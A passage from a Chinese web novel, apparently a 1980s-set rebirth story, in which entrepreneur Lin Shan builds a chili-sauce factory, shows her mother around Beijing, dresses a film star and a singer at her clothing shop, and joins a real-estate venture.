但来年她马上要开始做债券生意，必须留够本钱才行。 李娜这两天一有空就向林珊展示自己的学习成果, 她把公司的账全给查完了, 还找到了两处小数点儿后面的错误数值。 林珊狠狠表扬了她一番，开心得李娜又埋头看书去了。 李国超在旁边看着都忍不住笑了, 他以前没来林家工作的时候, 总觉得他妹子和他妈着了林珊的魔。真到这儿之后, 才发现林珊不仅比他想象的还大方，关键是特别尊重人。 大家虽然都在她这儿干活, 但她跟人说话的时候, 从来都是有商有量的, 不会说：“谁谁谁你给我干什么去。” 就凭这点，李国超就愿意在这儿干，更别说工资还这么高了。虽然他干的看上去都是些杂活儿，护送这个护送那个，跟这个去这儿, 跟那个去那儿的, 但是没了安全，其他还有什么重要的。 林珊查看了一下各个部门的账之后，要开始琢磨食品厂其他设备去哪儿搞了。 除了机械设备, 还要买各种其他工具。清洗和熬制都需要工具，清洗食材用的大池子，她已经提前在建筑图纸里跟设计师规划好了，但是还需要存放的储具，熬制酱料也需要很多大锅，产品做好之后，得放在仓库的货架上。 总之要买的东西很多，她一遍又一遍地罗列好清单，然后发动起所有的关系和人脉去搞这些。坦白说这些可比机械容易买多了，关键是价格要合适。 设备有了解决方案，接下里就要确定生产工艺和研发产品了。 林珊原本是想要林红暂时负责酱料的配置，因为她味觉敏感，在这方面很有天赋，但她怀孕了，一时半会儿也没有空闲，所以林珊就想让表嫂王芳来主抓，林红负责指导。 研制出独家秘制配方，才是卖辣椒酱的根本。至于酱料部以后的主管位置，她还不确定王芳能不能胜任，需要再进一步观察看看。 现在已经十月下旬了，厂子预计十二月中旬全部竣工。由于农历年在2月17号，过年前这将近两个月的空档刚好可以用来完善生产线、招工培训。 这些都规划之后，林珊就在琢磨玻璃罐儿要去哪里搞。是去大罐头厂买，还是去瓶子厂买。目前她这小厂子还没有自己生产玻璃罐的本事，只能先购买别人的。 林珊手里目前有几家厂子的资料，本地和外地的都有。花了一天时间打电话了解之后，她发现还是瓶子厂更便宜，罐头厂虽然说可以提供灌装技术，但林珊已经从严建设大哥那儿搞定了技术问题。 所以考虑了一下之后，林珊请郭有财帮忙跟安河瓶子厂的人牵了一下线。 安河瓶子厂虽然不大，可市面上这些常见的型号都能提供，质量也完全符合规格。林珊跟销售处的李经理谈了几个回合后，终于定了一个双方都能接受的价格。 签合同交定金，完事儿之后林珊请人家和郭有财吃了顿饭，玻璃罐的事儿算是暂时搞定了。 开厂是大事，工作极其繁琐。解决完这些硬件的问题，就轮到生产工艺了。 既然是卖瓶装辣椒酱，那么就会涉及到食品添加剂的问题。这种技术相关的，林珊毫无头绪，只得请专业人士。她准备去别的厂里高薪挖人。 八十年代常用的食品添加剂，基本就是苯甲酸、苯甲酸钠和山梨酸钾这三种。 常人要买到这些可不容易，必须有证有资质才行。专业的事必须交给专业的人，更何况这是涉及到会不会对人体有危害的大事。 郭有财认识一个搞化工的朋友，在他的牵线下，林珊结识了在酱菜厂当化工员的刘春燕。 刘春燕今年四十二岁，瘦高个儿戴副眼镜，还烫了一头小卷发，平时带工帽露不出来，但出来见客的时候，那必须展示一下。 不过她虽然人很随和，又挺喜欢林珊的，却是没有任何想要离开厂子的想法。刘春燕娘家全家都是酱菜厂的，对厂子很有感情，虽然工资不多，但平时活儿也少。所以不想去的地方干，即使工资很诱人。不过她答应林珊，可以提供技术帮忙。 林珊最怕这种无欲无求的姐姐，知道这种事儿强求不来，人家能答应提供帮忙已经是情分了。 回去的路上，牵线人还挺遗憾的，“刘春燕是我们那届成绩最好的，真是可惜啊。” “人各有志吧。”林珊只能这么说。 牵线人点点头，“不过要是她能来，你们将来也好下证儿。” 林珊眼睛一亮，“您是说春燕大姐认识办|证的人？” 牵线人笑道：“他那口子就在食品监管局工作，老公公还是里面的一个大头儿。” 林珊明白了，当下就决定一定要把刘春燕挖到自己公司来，不管用多长时间，不管用多少诚意。 《食品生产许可证》无论在什么时期都不好办理，尤其是现在这个干什么都要找人的年代。比它相对好办一点儿的《卫生许可证》，之前去工商局□□的时候，林珊就已经请黄丽娟帮她牵好线了，只要厂子盖好之后，对方派人检查过后就能放证了。 《食品生产许可证》则一直是她心头最惦记的一个事儿。毕竟没有证，产品就没办法售卖，一切就都等于白费。 她找人也不是想让不合格的产品合格，纯粹是想提高办事效率。对于食品安全这块儿，必须是重中之重。自己都不敢吃的，绝对不能给消费者吃。 回公司之后，林珊把拿下刘春燕的任务交给了徐娟。一来她是女性方便接触，二来她又能说会道，还有那种特别容易就跟人熟络起来的本事。再加上最近她手里的活又不是特别多，很适合这项任务。 徐娟没干过挖人这种事儿，不过既然林珊布置了，她就一定得办妥。 安河这边的工作安排得七七八八后，林珊的假期也快到了。 赵桂花早早就收拾好了包袱，还请隔壁她认的干妹妹红梅，帮忙喂喂大黄，听着点儿家里的动静。 红梅表示：“姐你就放心去玩儿吧，回来给我带两盒驴打滚就行了。” 赵桂花知道她爱吃，笑着保证一定多带点儿吃的给她。 当天一早，母女二人告别家人和朋友后，就开车北上了。 赵桂花一路那叫一个兴奋啊，她这辈子还没有出过安河地界，一共三小时的路，她就准备了包子、苹果、梨，另外还装了一大壶水，生怕饿着渴着。 林珊看她高兴成这样，当下就决定下次再去粤城的时候，说什么也要把她带上。 三个小时后，两人正式进入京市地界。 赵桂花旺盛的精力，瞬间更旺了，看见什么都稀罕，“哎呦呦！不得了了！你看看这路多宽！” “老天爷啊！这是啥啊？这楼咋这么高！” “闺女，这河是啥河？护城河？” “娘啊！又一辆小轿车！咋这么多车！” “哎呦呦，你看那大姑娘穿得多好看！” …… 林珊被她逗笑了，一边为她讲解着看见的一切，一边故意饶了点儿路，直奔长安街去了。 长安街一到，赵桂花一见这阵仗，瞬间把刚才说宽的那条路给忘了，“我的老天爷！闺女！这是哪儿啊，咋宽成这样啊！” 林珊笑道：“这是长安街，待会儿就能看见天安门了。” “天安门？！”赵桂花没想到闺女上来就把她拉这儿了，瞬间激动得就要把头探出去找。 林珊赶紧拦住她，笑着指了指一边，“妈你看左边儿的窗户，一会儿就到了。” 赵桂花无比听话，让看左边就不错眼珠地盯着左边，然后……雄伟壮观的天安门引入眼帘，激动得桂花女士忘了说话，整个人呆滞地望着城楼，瞬间眼眶就红了。 林珊把车开得很慢，顺着路边把车停了下来，让赵桂花能够更好地欣赏。 赵桂花抹抹眼泪，下车之后又哭又笑的，“小时候算命的跟我娘说我命好，后来你爸死了之后我还骂过人家，你看看现在！我在哪儿儿站着呢？”她激动地指了指伟人像，“我在主席边儿上站着呢！谁能有我命好！谁能有这么出息的闺女！” 赵桂花越说越激动，越看自家闺女越觉得哪儿都好，跟着直接一把捧住林珊的脸，亲了她一口，“妈的好闺女！好闺女！哈哈哈哈。” 林珊被桂花女士弄得哭笑不得。 赵桂花自己却开心极了，一会儿盯着城楼问怎么上去？一会儿又指指对面的广场，说真大啊，全纱厂的人都站过去也不挤。跟着突然凑过来问领导们都在哪儿上班啊？ 林珊指了指前边的红墙。赵桂花点点头，满脸写着“我知道了，我会坚决保密的”。 林珊乐出声来，突然觉得在安河的桂花女士，能量大概只发挥了百分之二十的水平，京市才是真正属于她的大舞台。 赵桂花：“诶呦，那是啥，那个柱子？” “英雄纪念碑。” “能过去看吗？” “能。” “走，咱去看看！” 第125章 第125章 大明星光顾 母女俩明明是十一点钟到的京市, 真正抵达科研所的房子，却是在下午三点钟。 赵桂花的精力仍然没用完，参观完住的地方, 就开始不停地赞叹哪儿哪儿都好，“……人家首都的楼房就是不一样！不知道你姐她们分的房, 能不能跟人家这个比。” “应该差不太多，都是楼房嘛。”这年头单位盖得楼房基本都像一个模子刻出来的, 虽然不太可能有这个房子的格局，但该有的都会有。王军单位又是公安局的, 自己人住得地方总不会盖得差到哪儿去。 赵桂花放心了, 林红跟王军那边她是不怎么担心了，孩子房子眼看就都有了。她之前一直担心林珊一个人在这京市, 又要上学又要忙生意, 累着苦着。不过刚才这一进门, 看见这环境，她那些担心就差不多打消了。 桂花女士忍不住感慨：“你要好好谢谢人家小贺。” “我谢过了。他昨天电话里说, 今儿晚上过来迎接你的到来, 咱做点儿好吃的给他。”林珊一边给赵桂花铺被褥, 一边说。 赵桂花当然高兴了，立刻问林珊家里都有些什么菜。 家里什么菜都没有，她不在这儿住，就没人开火，东西都需要现买。母女俩收拾好屋子后, 林珊骑着自行车带着桂花女士出去买菜了。 赵桂花不愧是赵桂花, 只逛了一会儿菜市场，卖大白菜的就送了她几个自家的胡萝卜，卖土豆的被她说得眉开眼笑, 直接便宜了一毛钱。更别提卖肉的大娘了，俩人聊得哟，林珊要是买得再多点儿，或者再挑慢点儿，桂花都能在认个干姊妹。 回去的路上，赵桂花还感慨：“这京市的人跟咱那儿也没啥区别啊，都挺好说话的。” 林珊笑了。 晚饭赵桂花预备做四个菜，林珊帮她打下手。母女俩不出一个小时，就做了两荤两素，再配上自家的包子当主食，可以说相当可以了。 贺正岩到的时候最后一道菜刚好上桌，他也不知道从哪儿弄的柿子和杨桃，直接提着两大篮子就上来了。 赵桂花看贺正岩是怎么看都满意，更别说他还这么懂礼数了，一顿饭她嘴角就没下来过，对着贺正岩那是一通表扬啊，弄得他都不好意思了，直给林珊使眼色。 林珊也挡不住桂花抒发感情，只好多给她夹菜。 屋子里多了个人，气氛一下就热闹多了，更别别赵桂花还把自己这半天的京市见闻，用她那独特的修辞方法分享了一遍，林珊笑得肚子疼，贺正岩也忍不住乐出了声。 次日，林珊一上午的课，赵桂花自己就在房子里，洗得洗晒得晒，里里外外全收拾得干干净净。等到中午林珊回来，母女俩简单吃了点儿汤面，就去自家包子铺了。 包子铺这个点儿的生意非常好，每天中午的人流高峰能持续到两点多钟。赵桂花站在路边笑得合不拢嘴，瞧瞧瞧瞧，首都这么大的铺子！生意这么好的铺子！是她闺女开的！招牌上的林爱国，是她亲儿子！ 赵桂花站在门前，骄傲得恨不得横着走。听闺女说，跟亲眼看见的差距还是非常大的，虽然安河的铺子每天人也特别多，但那毕竟是小地方。 林珊进店把赵桂花介绍给杜丽之后，就没再打扰他们忙碌，直接带着赵桂花去了服装店。 如果说赵桂花刚才在包子铺是站在路边傻笑，这会儿就是张着嘴震惊了，林珊笑着把她拉进店里，让人倒了茶水，是她最喜欢的茉莉花茶。 赵桂花懵懵地端起茶杯，闻了闻，有点儿不敢相信这是自家的服装店，里边环境太好，她连说话声音都压到了最小，“闺女，你掐掐我。” 林珊笑了，“妈，都是真的，赶紧喝吧，刚才在车上不是还说口渴呢？” 赵桂花听话地喝了口茶，味道真好啊。啥服装店能又是沙发，又是茶的啊，除了她闺女，谁能想到这个？ 慢慢缓过来的劲儿的赵桂花，起身开始四处查看。她是走到一处惊叹一处，整个店就没有她不稀罕的东西，最后都参 观完之后，还不忘把店里的售货员们都夸了一遍，说得小姑娘们一个个都特别开心。 林珊在一旁看得直笑，当下决定以后要经常把赵桂花接到京市来玩儿。目前她还没能力把公司全面搬到京市，要慢慢来。不过就算将来实力更强、分公司遍地之后，安河也永远会是大本营。 赵桂花在京市的这几天，林珊一有空就带着她到处去逛。故宫去了，长城爬了，颐和园去了，最重要的是清大的校园，她也仔仔细细全逛了。 吃了食堂，看了闺女的教室，还跟徐青和陈小娟也熟络了起来。导致这俩人在赵桂花回安河之后，还动不动就问婶子最近怎么样啊，回头再把婶子接过来嘛。 林珊本来也想让赵桂花再待一些日子，可是公司各个门店还有很多账要收，林红又大着肚子，所以住了一个礼拜后，她就匆匆回去了。走的时候大包小包的，林珊知道这一回去，她肯定又要迫不及待的向街坊邻居们展示在京市的一切见闻了。 桂花女士离开没几天，京市就开始大降温，冬天要来了。 林珊晚上去服装店收账的时候，顺便看了一下暖气片的情况。这暖气片是装修的时候她特意花钱安的，铝制的那种，要自己烧炭给全屋供暖。 锅炉一烧，暖气片都烫手，没一会儿整个屋子就都热了起来。林珊没有经验搞不好温控，闫超鼓捣了一会儿才摸索出火烧多旺，既能保证温度合适，暖气片又不至于烫着人。 两人正在后面忙活，店长魏雪琴突然兴奋地冲进来：“珊老板，胡敏来了！” “胡敏？”林珊非常意外。 胡敏可是这个时期最炙手可热的女明星，《大众电影》封面的常客。上个月刚凭借电影《雪花》获得了最佳女主角奖，听说她之前就已经得过好几次大奖了。 林珊虽然没看过她的电影，但是人确是知道的。可惜这位姐姐感情运不太好，遇到了大渣男，最后竟然为情自杀。后世的那些影评人，每次提到她的时候都唏嘘不已。 林珊没想到会在服装店遇见正当年的胡敏，赶紧洗了下手，出去迎接客人。 胡敏是被朋友拉来的，她并不知道这个店的来头，只听说这儿的衣服好看，想着过来看看有没有合适她的。 猛得一见林珊，她有些怔愣，没想到老板居然这么年轻，还长这么俊，一身毛呢套裙穿她身上，比门口橱窗里的模特穿上都好看。 林珊也愣住了，胡敏本人可比电影里好看多了。大波浪卷发，黑色妮子大衣，又高又瘦，气质非常出众。没有半点儿劳动人民的感觉，却能在电影里精湛得扮演农村妇女。不愧是演员啊。 “姐姐您好，我是‘红珊服装店’的老板林珊，很高兴认识您。”怔愣过后，林珊主动上前打招呼。 胡敏握住她的手，笑了笑，“你好林珊，我朋友说你这儿的衣服独一无二，我来看看适不适合我。” 林珊笑着点点头，“您是想自己逛，还是我帮您介绍一下？” “你介绍吧。”这衣服太多了，没进门胡敏就看上了橱窗里的两套，更别说一进来映入眼帘的这件皮裙子了。 林珊把胡敏和她的朋友请到休息区，让售货员倒了两杯花茶，自己则示意魏雪琴去闭店。 虽然这会儿已经晚上了，但难保不会有其他客人再来，所以还是直接闭店得好。 “姐姐，您是想坐在这儿我拿衣服过来，还是跟着我去逛逛？店已经关门了，不会碰见其他客人。”林珊笑着询问。 “走，逛逛去。”胡敏本来就不是很在乎被人看见。应该说这个时期的演员本身也没有把自己当成所谓的大明星，就是文艺工作者，干一份工作而已。不过林珊的细致，还有店里的服务，让她明白为什么身边的人都夸这地方好了。 林珊领着两位边走边逛，轻声询问着她们的购衣需求。 胡敏因为经常有上电视和杂志的需求，她就不想老穿一样的衣服，换着穿也显得新鲜一点儿。她朋友则表示前一阵刚买了一套，今天纯来赔逛的。 林珊笑着感谢了一下对方，把重点放在了为胡敏介绍上头。既要上镜好看，又不能过于奇特，还得符合她的气质。 胡敏自己选了长款皮质半裙，林珊推荐上身配白衬衫加藏蓝色圆领羊毛衫，还有自家的珍珠耳钉。胡敏试了试，一眼相中。 毛呢大衣林珊推荐了白色长款的，毛呢裙胡敏挑了棕色和黑色两条。林珊见她对牛仔裤感兴趣，立刻把深绿色的棉服夹克拿出来配。 胡敏很喜欢，又挑了两件穿在里面的毛衣。除了衣服，她还看上了一条银项链。她准备回去也学林珊，把这项链戴到黑毛衣外头。 结账的时候，林珊给胡敏打了八折，办理了VIP手续，还送了一条长丝巾。 胡敏买衣服从来没见过这么多花样，就是她去港城的时候也没见过，忍不住对林珊产生了很多好奇，趁着售货员打包的空挡，她跟林珊聊起了天。 这不聊不知道，一聊发现居然是安河老乡。 第126章 第126章 想入股吗 其实说老乡也不完全准确, 胡敏的母亲是安河人，父亲是京市人，确切地说应该是半个老乡。 但不管怎么样, 胡敏对林珊的好感一下就多了很多。 再加上她朋友在旁边把林珊上了报纸，又是清大学生的事儿一说, 胡敏眼睛都亮了，对她的称呼也成了“妹妹”。 林珊不介意多这么一位姐姐, 当即就对胡敏最新得奖的电影表达了喜爱之情，对她精湛的演技, 更是句句都是夸赞。幸亏徐青和陈小娟看过这电影, 还经常在宿舍讨论里面的剧情，不然林珊还真不知道该怎么夸。 然而她自己觉得夸得一般, 胡敏却跟遇见了知己一样, 觉得这妹妹真懂她啊, 她拍摄的时候用得就是这样的情感！真不愧是清大的高材生，就连夸起人来都跟别人不一样。 胡敏没想到一次简单的购物, 能让她这么开心, 当下就要了林珊的联系方式, 说以后买衣服还找她。 林珊内心求之不得，面上不卑不亢，笑着说：“那我把好看的衣服，都先给姐留着。” 胡敏哈哈笑了起来，拍了拍林珊的背, “好, 姐会常来的。” 接了胡敏这一个大单，店里的人都笑得合不拢嘴，林珊都宣布下班了, 大家还在说说笑笑不肯离开。 林珊猜这可能就是遇见大明星之后的朴素情感吧。 其实这年头的演员根本没有什么钱，跟后世那些所谓的“208万”完全不一样。这时候演员基本都是有单位的，拍电影的片酬都是论工资拿的。 广告业都还没发展起来，他们就算能接到广告，钱也不会很多，而且单位还要分大头。 胡敏之所以买这么多衣服都不眨一下眼，那是因为她现在的对象是港城知名富商的二公子，听闻这人出手极其阔绰。这年代的老百姓不太知道这些，可后世来的她却是知道的。 这二公子花名在外，处处留情，胡敏跟他分分合合多年之后，自刎在了自家别墅。这二公子却半点儿没受影响，照样娶妻生子，逍遥快活。 林珊没资格评判别人的人生。没见到胡敏之前，她也只是对这样一个才华横溢的生命，为情陨落感到唏嘘。可见到活生生的胡敏之后，心里不自觉得又多了一份难过。 林珊原本以为这只是一次别样的相遇，没想到胡敏好像真得挺喜欢她的。一周之内，服装店陆续多了好几位文艺界的 客人光顾。 林珊稍微一问，才知道是胡敏说这地方衣服好，介绍她们过来的。 林珊当下就想去表达自己的感谢，可惜她并没有胡敏的联系方式，只能等对方联系自己。 时间很快进入十二月了，食品厂提前全面竣工。 所有的机械设备，严建设也已经送达了安河。他拍过来的技术员在厂里教了赵福两口子、徐娟和薛凤琴一个礼拜后，圆满完成任务。 林珊抽空回了一趟安河，看着大家从原材料清洗开始，到碾碎制作，再到最后封袋成品，整个过程都非常顺利流畅。严建设推荐的机器确实好用，他们厂里自己设计的流程也好，整个工作效率比以前纯靠人工的时候，提升了十几倍。 底料加工部那边基本没什么大问题了，接下来就是酱料部门。 这些日子王芳和林红一直在不断研发配方，让所有人试吃挑刺，配料改了又改，最终确定了两款辣酱口味，等着林珊做最后的裁定。 林珊想都没想就选了不太辣的那个。这年头不是后世到处充满了重口味，很多人都无辣不欢。现在除了南方个别的几个省外，全国大多数人民是吃不了辣的。 而且，不太辣的辣椒酱还更能突出香味来，很适合油水少的年头。 除了辣椒酱，她还要再买一款不辣的肉酱。这个肉酱是目前店里经常用的香菇肉酱的改良版，味道更浓、更香。用料非常扎实，放到素面上一小勺，整个面瞬间就成了香菇肉面。加一勺到米饭里，立刻能变香菇肉酱拌饭。 这个酱贺正岩最爱吃了，以前每次送他年货的时候都少不了这个。 林珊凭借自己在后世吃了很多美食的嘴，得出的结论是，自家这两款产品非常具有竞争力，不仅在这个年代如此，就是放到后世也丝毫不输某些爆款。 酱料部门的机器运转同样无比顺畅，试着做出来的酱料还不能卖，只有员工自己消化，加上之前不停地试配方，大家都直呼这一这儿可吃得够够的了。 林珊交给徐娟的任务，她也圆满的完成了。刘春燕于上周正式加入了“林爱国食品有限公司”。 徐娟拿下刘春燕的方式也不算太复杂，就是真心实意得跟她做姐妹。不但对她好，对她孩子们都跟亲生的似的。刘春燕自己想安逸没关系，总要为孩子们的未来考虑考虑吧。虽说她家现在还不错，但跟人家有钱人比可差远了。 画饼的方式还是林珊交给她的，活得安逸没什么大目标不要紧，我给你画一个，然后在一步步教你怎么实现。 好吃的好喝的供着，再加上港城来的好衣服送着，很少有人能不心动的。 所以最后不仅刘春燕心动了，连她丈夫都想过来了。要不是她老公公想让她丈夫慢慢儿往上升，走另外一条路子，两口子可就都过来公司上班了。 有了刘春燕的加入，真就是如虎添翼。从添加剂的购入到配比，她全都门儿清。产品出来之后的送检，更是半点儿阻碍都没有遇到。 《卫生许可证》林珊前两天已经办下来了，现在只要一等《食品生产许可证》下来，厂子就能正式生产了。至于瓶身上的产品包装，她决定还是采用食品公司通用的林爱国头像，做统一标识。 招工的事儿，赵福也已经忙得差不多了。 他也学人家其他厂子搞了个考试，考题是公司几个人凑在一块儿想的，有食品相关的，也有卫生相关的，考不过谁来说情也不行。 他那俩嫁出去的妹子，赵娟和赵燕都来找他了，硬是被他安排回家学习去了。 气得赵娟和赵燕说要找大姑和林珊去告状。赵福才不在乎，珊表妹说了“没有规矩不成方圆”，就是大姑想来干活也得先学习。 这次食品厂预备招收四十个工人。两个车间需要人，仓库需要人，配送也需要人，看大门的也需要几个人，传达室只有一个老头可不行。 招聘的工种不同，要求也不同。升任行政主管兼人事招聘的李春刚，干劲儿十足。不但要找到各种合适的人，还要开出适合的薪资。 安河公司所在的小院，原本是非常空旷的，屋里更是没几张桌。 如今赵福、李春刚和徐娟都挤到一块儿办公了，林珊工作的地方里也挤着赵桂花和林红，薛凤琴、张学强和李娜在另一个屋办公，其他职工则都在客厅忙碌。 平时这些人都在外头忙的时候还好，等一回公司，瞬间挤得满满当当。 林珊知道这地方不行了，得开始物色新的办公地点。这回直接买，不租了。地皮暂时还不让买卖，那就先买房子，买来要是不合适，大不了自己改建一下。 为这事儿，林珊特地去找了郭有财一趟。 自从上次林珊跟他家谈过房地产的事情之后，就没再过问过这些事，没想到这次一见面，郭有财竟然自己提了起来。 “老二刚拍了块儿地，我们准备试试。” 林珊惊喜地竖起大拇指，真是厉害，上来就能拍下地皮！据她所知，这时候深城一块儿不算特别大的地皮，都要四五百万。这就是差距啊，她目前紧紧腰带也只能买得起京市的一套房而已。 郭有财知道她误会了，笑着解释道：“雷家也出钱了，一块儿干风险小点儿，现在我们两家才是真要勒紧裤腰带了。” 林珊也不知道他这话的真实度有多少，没准儿是不想漏财呢。不过郭有财接下来的话，让她明白他们可能真的资金链紧了。 “珊丫头，你之前不是说打算过两年再干房地产吗？” “是。” “晚干不如早干，要不要现在就跟我们一块儿开干？” 林珊笑得有点儿干巴，囊中羞涩啊，“我当然想了，可是我手里才多少现钱啊。您也知道我大部分的钱都在实体里投着，这又马上要年底分红了。您跟雷叔叔能看上我这点儿入股钱吗？” 郭有财当然知道她的钱都用在哪儿了，这么提除了资金链确实很紧之外，还有一个原因是心里非常不踏实，多个人就少一份风险，再加上这丫头一早就算准房地产行业了，所以郭有财清楚她对这行是心里有谱的。 “你能拿出多少？” 林珊算了算，“二十万吧，要是您跟雷叔叔能允许我分期入股，明年应该能拿出一百万。往后再依次增加问题应该也不大。不过我想房子盖出来之后，咱们再盖新的房子，也就不用自己的钱了。”到时候银行一定会抢着拉他们去贷款。 郭有财喜欢这丫头嘴里的那股子笃定劲儿，只稍微想了一下就觉得可行，“这样，我跟生金谈过之后给你个准话儿。” 林珊点点头，笑着说；“好的爷爷，不过您得先帮我在安河找个大院子，我们公司坐不下了。这次不租，买。” 郭有财乐了，“好，我帮你留意一下。” 真是长江后浪推前浪啊，谁能想到当初租自己门面的小姑娘，如今能干出这么大的买卖呢。 第127章 第127章 春晚服装 安河这边一切都在有条不紊得进展着, 林珊暂时处理完手头的事情后，就回学校忙考试了。 贺正岩这一阵子一直在郊区各部队待着，说是要帮助落实新下来的训练计划, 基本要忙到农历年前才能回市里。 两人平时基本只能靠打电话联系，一时间好像回到了暧昧期间, 他总找借口给她打长途电话的时候。 考完了期末考，林珊整个人一身轻, 总算不用再惦记着学校那股子了。 虽然还有一个月多才要过年，服装店的生意却明显比以往更火爆了。 天天都挤满了人, 闫超只能冒着严寒站在风里疏导大家排好队。毕竟很多人都指着过年的时候买新衣服穿呢, 平时不舍得，过年了总得买一件儿好衣服走走亲戚吧。再说了, 质量好的大衣能穿好几年呢。 年底往往是各大店铺的销售高峰期, 林珊家自然也不例外。她不仅提前 进好了大批冬装, 备得服装店后仓和科研所的房子里都是货，还准备了红色又喜庆的装饰品来布置店面。 过年就要有过节的氛围, 橱窗全面升级, 多了红色元素。包装袋也多做了几批深红色的, 让顾客自己选择是要老款淡紫色的，还是新年款的。 送给VIP客户的丝巾，也添了很多不同的颜色，用来给冬天普遍偏深色的外套们提一下亮。 之前胡敏介绍来的几位文艺界的客人，希望她帮忙进几件特别一些的衣服当演出服。林珊就让阿英送了一批非常新潮和时髦的货来, 不过她们都还没登门, 胡敏就领着大歌星姚雪来了。 大晚上的，又下着雪，林珊专门闭店迎接两位客人。 姚雪可是这个时期的大歌星, 好多电视剧的主题曲都是她唱的，在全国真可谓家喻户晓。就是在后世，她的好多歌，仍然被大家所熟知喜爱。要是自家的衣服能被她选中，登上春晚舞台的话，那宣传效果可想而知。 虽然现在店内的生意经很好了，但总没有人会嫌钱多。要是销售额能再上一个台阶，她一定飞速开第二家店。 京市每个区都要开上一家，跟着是汉北省城。她准备先把自己熟悉的地界开满，拿下高端市场的绝对份额，跟着再慢慢向外拓展。 现在，先拿下大歌星姚雪更重要。 姚雪为人非常随和，喝着热茶对林珊说：“我想买件裙子当演出服，胡敏说你这里的衣服特别漂亮，不知道有没有薄一点儿的？” 毕竟要上电视，她不要穿得鼓鼓囊囊的，春装比较合适。不过这个季节服装店都是厚衣服，薄裙子也不是很好找。姚雪自己本来准备了今年上春晚要穿的裙子，不巧前两天同门师妹的节目也通过了，来找她借演出服。姚雪见她喜欢，索性就把裙子给师妹穿了，自己准备另找。 团里准备的那几件衣服她都不是很喜欢，正发愁呢，胡敏说她知道一个地方，于是俩人趁着夜色就来了。 姚雪本人虽然对后辈大方，本人却是比较勤俭节约的，平时很少太来这些贵地方。不过为了春晚的舞台，她还是愿意多花些钱的。 林珊一听她的需求，就马上让人把放在后仓木架子上衣服都拿了过来。 “这是应敏姐朋友的要求，前一阵特地进的当下最时髦的衣服，您先看看有没有看上的。” 这批衣服各样颜色都有，有裙子有裤子，有仙气飘飘和绸缎样式的衬衫和裤子，也有酷炫的贴满小亮片的衬衫和裤子，春装夏装都有，冬装还有那挂着星片的皮夹克，总之就是一个字“潮”。 姚雪今年也才三十岁，对新潮并不排斥，不过看着这么多亮闪闪的衣服，她确实有点儿不知道该怎么下手。 胡敏对她很了解，直接说：“我觉得这个不错，丝绸白衬衫配这个亮闪闪的绿裙子。你这么白，穿上这一身儿绝对又亮又好看。你把衬衫扎进去穿，肯定特别苗条，往台上一站绝对最显眼。” 姚雪越听越觉得好，感觉也比较适合她今年的歌，不过，“那外头的呢，就单穿这个啊？要不要再来个褂子配上。” 胡敏摇头：“不要，配褂子干什么，在台上站着能有多冷，一首歌才有几分钟。” 姚雪想想也是，“行，那我去试试。” “这边。”林珊让售货员领着姚雪进试衣间试穿，自己则把胡敏请到了首饰和配饰区，“再配条珍珠项链应该会更好看，耳钉也选圆形的会更和谐。” 胡敏笑了，“‘和谐’？你这个词真有意思，我也觉得这么配好看。” 姚雪试穿的效果非常好，她个子也高，瘦长型身材，这么穿很漂亮。林珊又把首饰都给她带上，让她看看整体的效果。 姚雪看着镜子里的自己，也满意得不得了。满心欢喜地一询问价格，发现太贵了。这一套衣服还能买得起，首饰就不行了。 林珊直接说：“那您先戴着演出，等表演完再还回来就可以了。” 姚雪没想到还能这样，又惊又喜，又有些犹豫，觉得这样好像不太好。 胡敏笑着说：“那我买给你。” 一听这个，姚雪头摇得更厉害了，这么贵怎么能让胡敏掏钱呢！ 林珊开玩笑道：“姐，我们家衣服和首饰穿您身上，是它们的福分，等节目表演完了，我就把这项链和耳环都裱上，上面再写上几个大字‘大歌星姚雪戴过我’。” 姚雪和胡敏都被逗笑了，姚雪见林珊态度诚恳，说话又让人舒服，也就接受了暂借首饰的事。 林珊想着反正已经借了，也不差再多一套衣服，所以就把黄色的绸缎套裙挑了出来，“姐，这套裙子也借给您当备选。两套衣服保险点儿，您可以根据春晚的舞台灯光，选择最适合的那套。” 姚雪既开心，又有点儿不好意思，被林珊推着试了试黄色套裙之后，发现这套穿上也特别好看！ “谢谢妹妹，姐记住你的情了。”姚雪握着林珊的手表示感谢。 林珊明白自己才是最赚的那个人，颇有点儿不好意思，性格这么实在的歌星好姐姐，她当然赶紧认了。 胡敏也很开心，还对姚雪说：“怎么样，我没介绍错吧。” 姚雪笑得灿烂，“没有没有。” 胡敏手松，明明是带朋友来买衣服的，看着橱窗里的皮鞋不错，直接就买了。 林珊给她们都打了折，姚雪送的丝巾，胡敏送的精致手帕，开开心心把人送出门的时候，大家姐姐妹妹好一通告别。 次日清晨，林珊一醒就给阿英打了个电话。她要阿英把粤城所有跟姚雪选的那两件套衣服的同款、类似款，全部收走。春节过后，她要卖一波儿独家。 由于贺正岩要忙到年底才能回市里，林珊就决定安排好京市的事儿后直接回安河了。厂子过完年就要开业，这之前每天都有一大堆事情要处理，再加上林红也快生了。 回去之前，林珊先是找到了闫超。虽然之前装修的时候给他结过工钱，但这一段时间只要服装店一有需要，他就会过来帮忙，林珊就包了个大红包给他。希望自己回安河后，他能继续帮忙看着点儿店。 闫超拒绝了半天，他觉得自己已经拿了不少工钱了，帮林珊看店那是天经地义的，再拿红包算怎么回事儿，再说又有贺正岩这层关系，他就更不能拿了。 林珊却笑道：“工钱是工钱，心意是心意。再说了你两个弟弟也经常过来帮忙，又快过年了，这个红包就当是给他们的。咱俩就别再推搡了。” 说着，她再次把钱硬塞给了闫超。 “诶呦，嫂子！”闫超这钱拿也不是，不拿也不是。僵持了会儿见对方实在太坚决，他也只好收下了。听说林珊在中关村还有个包子铺，他立刻表示：“嫂子，包子铺我也替你看着点儿。” 林珊笑着谢过他，把接下来的安排说了一下。 包子铺和服装店员工的年底福利，林珊都已经准备妥当了，打算先暂放在闫超那儿，“年底歇业之前，麻烦你帮着店长们把这些东西都分给员工。” “好嘞，您就放心吧。” 至于工资和提成，林珊打算直接汇笔钱到闫超的账上，让他到日子之后，再拿给两位店长分发。 闫超一听这么多钱，顿时有点儿呆。他知道这是很大的信任，但他又怕自己给弄丢了或是被抢了什么的，总之心里有点儿不安。 “可以吗？”林珊见他不吭声，以为不同意。 “当、当然了，我就是怕办不好。”闫超摸摸后脑勺，颇有点儿大任务来了的忐忑。 林珊理解他的心情，安慰了他两句后，就带着人去银行办业务了。 她选择让闫超把钱分发给两位店长，也是为了明年的债券生意提前做准备。让他多跑跑银行，多跟那些人交流一下，就更能熟悉环境。毕竟人对自己没接触过的东西是会感到恐慌的。 再来，也是对他的一 